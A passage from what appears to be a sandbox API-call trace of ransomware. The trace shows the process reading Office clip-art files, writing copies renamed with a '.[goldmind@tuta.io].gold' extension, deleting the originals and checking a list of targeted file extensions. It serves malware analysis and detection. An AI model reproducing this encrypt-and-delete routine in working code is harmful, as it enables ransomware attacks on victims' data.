(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf")) returned 0x20 [0114.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.097] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.097] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0114.097] GetLastError () returned 0x0 [0114.097] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x8860, lpOverlapped=0x0) returned 1 [0114.100] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0114.101] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.101] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.101] SetEndOfFile (hFile=0x380) returned 1 [0114.101] CloseHandle (hObject=0x380) returned 1 [0114.101] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.101] SetEndOfFile (hFile=0x194) returned 1 [0114.103] CloseHandle (hObject=0x194) returned 1 [0114.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf")) returned 1 [0114.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.104] lstrlenW (lpString=".doc") returned 4 [0114.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.104] lstrlenW (lpString=".docx") returned 5 [0114.104] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0114.104] lstrlenW (lpString=".pdf") returned 4 [0114.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.104] lstrlenW (lpString=".xls") returned 4 [0114.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.104] lstrlenW (lpString=".xlsx") returned 5 [0114.104] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0114.104] lstrlenW (lpString=".ppt") returned 4 [0114.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.104] lstrlenW (lpString=".zip") returned 4 [0114.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.105] lstrlenW (lpString=".rar") returned 4 [0114.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString=".bz2") returned 4 [0114.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString=".7z") returned 3 [0114.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".dbf") returned 4 [0114.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".1cd") returned 4 [0114.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".jpg") returned 4 [0114.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".doc") returned 4 [0114.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString=".docx") returned 5 [0114.105] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0114.105] lstrlenW (lpString=".pdf") returned 4 [0114.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString=".xls") returned 4 [0114.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.105] lstrlenW (lpString=".xlsx") returned 5 [0114.105] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0114.105] lstrlenW (lpString=".ppt") returned 4 [0114.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".zip") returned 4 [0114.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.105] lstrlenW (lpString=".rar") returned 4 [0114.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString=".bz2") returned 4 [0114.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString=".7z") returned 3 [0114.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".dbf") returned 4 [0114.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".1cd") returned 4 [0114.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0114.105] lstrlenW (lpString=".jpg") returned 4 [0114.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.105] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.105] lstrlenW (lpString="J0198022.WMF") returned 12 [0114.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.107] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=26148) returned 1 [0114.107] CloseHandle (hObject=0x194) returned 1 [0114.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf")) returned 0x20 [0114.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.107] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.107] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0114.108] GetLastError () returned 0x0 [0114.108] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x6624, lpOverlapped=0x0) returned 1 [0114.110] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6630, lpOverlapped=0x0) returned 1 [0114.111] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.111] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.111] SetEndOfFile (hFile=0x380) returned 1 [0114.111] CloseHandle (hObject=0x380) returned 1 [0114.111] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.111] SetEndOfFile (hFile=0x194) returned 1 [0114.113] CloseHandle (hObject=0x194) returned 1 [0114.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf")) returned 1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".doc") returned 4 [0114.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".docx") returned 5 [0114.115] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.115] lstrlenW (lpString=".pdf") returned 4 [0114.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".xls") returned 4 [0114.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.115] lstrlenW (lpString=".xlsx") returned 5 [0114.115] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.115] lstrlenW (lpString=".ppt") returned 4 [0114.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".zip") returned 4 [0114.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.115] lstrlenW (lpString=".rar") returned 4 [0114.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".bz2") returned 4 [0114.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".7z") returned 3 [0114.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".dbf") returned 4 [0114.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".1cd") returned 4 [0114.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".jpg") returned 4 [0114.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".doc") returned 4 [0114.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".docx") returned 5 [0114.115] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.115] lstrlenW (lpString=".pdf") returned 4 [0114.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".xls") returned 4 [0114.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.115] lstrlenW (lpString=".xlsx") returned 5 [0114.115] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.115] lstrlenW (lpString=".ppt") returned 4 [0114.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.115] lstrlenW (lpString=".zip") returned 4 [0114.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.115] lstrlenW (lpString=".rar") returned 4 [0114.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.115] lstrlenW (lpString=".bz2") returned 4 [0114.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.116] lstrlenW (lpString=".7z") returned 3 [0114.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.116] lstrlenW (lpString=".dbf") returned 4 [0114.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.116] lstrlenW (lpString=".1cd") returned 4 [0114.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0114.116] lstrlenW (lpString=".jpg") returned 4 [0114.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.116] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.116] lstrlenW (lpString="J0198025.WMF") returned 12 [0114.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.117] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15566) returned 1 [0114.117] CloseHandle (hObject=0x194) returned 1 [0114.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf")) returned 0x20 [0114.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.118] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.118] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0114.119] GetLastError () returned 0x0 [0114.119] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3cce, lpOverlapped=0x0) returned 1 [0114.120] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3cd0, lpOverlapped=0x0) returned 1 [0114.121] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.121] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.121] SetEndOfFile (hFile=0x380) returned 1 [0114.121] CloseHandle (hObject=0x380) returned 1 [0114.122] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.122] SetEndOfFile (hFile=0x194) returned 1 [0114.208] CloseHandle (hObject=0x194) returned 1 [0114.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf")) returned 1 [0114.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.209] lstrlenW (lpString=".doc") returned 4 [0114.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.209] lstrlenW (lpString=".docx") returned 5 [0114.209] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0114.209] lstrlenW (lpString=".pdf") returned 4 [0114.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.209] lstrlenW (lpString=".xls") returned 4 [0114.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.209] lstrlenW (lpString=".xlsx") returned 5 [0114.209] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0114.209] lstrlenW (lpString=".ppt") returned 4 [0114.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.209] lstrlenW (lpString=".zip") returned 4 [0114.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.209] lstrlenW (lpString=".rar") returned 4 [0114.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.209] lstrlenW (lpString=".bz2") returned 4 [0114.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString=".7z") returned 3 [0114.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".dbf") returned 4 [0114.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".1cd") returned 4 [0114.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".jpg") returned 4 [0114.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".doc") returned 4 [0114.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString=".docx") returned 5 [0114.210] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0114.210] lstrlenW (lpString=".pdf") returned 4 [0114.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString=".xls") returned 4 [0114.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.210] lstrlenW (lpString=".xlsx") returned 5 [0114.210] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0114.210] lstrlenW (lpString=".ppt") returned 4 [0114.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".zip") returned 4 [0114.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.210] lstrlenW (lpString=".rar") returned 4 [0114.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString=".bz2") returned 4 [0114.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString=".7z") returned 3 [0114.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".dbf") returned 4 [0114.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".1cd") returned 4 [0114.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0114.210] lstrlenW (lpString=".jpg") returned 4 [0114.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.211] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.211] lstrlenW (lpString="J0198494.WMF") returned 12 [0114.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.262] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=44552) returned 1 [0114.262] CloseHandle (hObject=0x364) returned 1 [0114.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf")) returned 0x20 [0114.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.263] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, 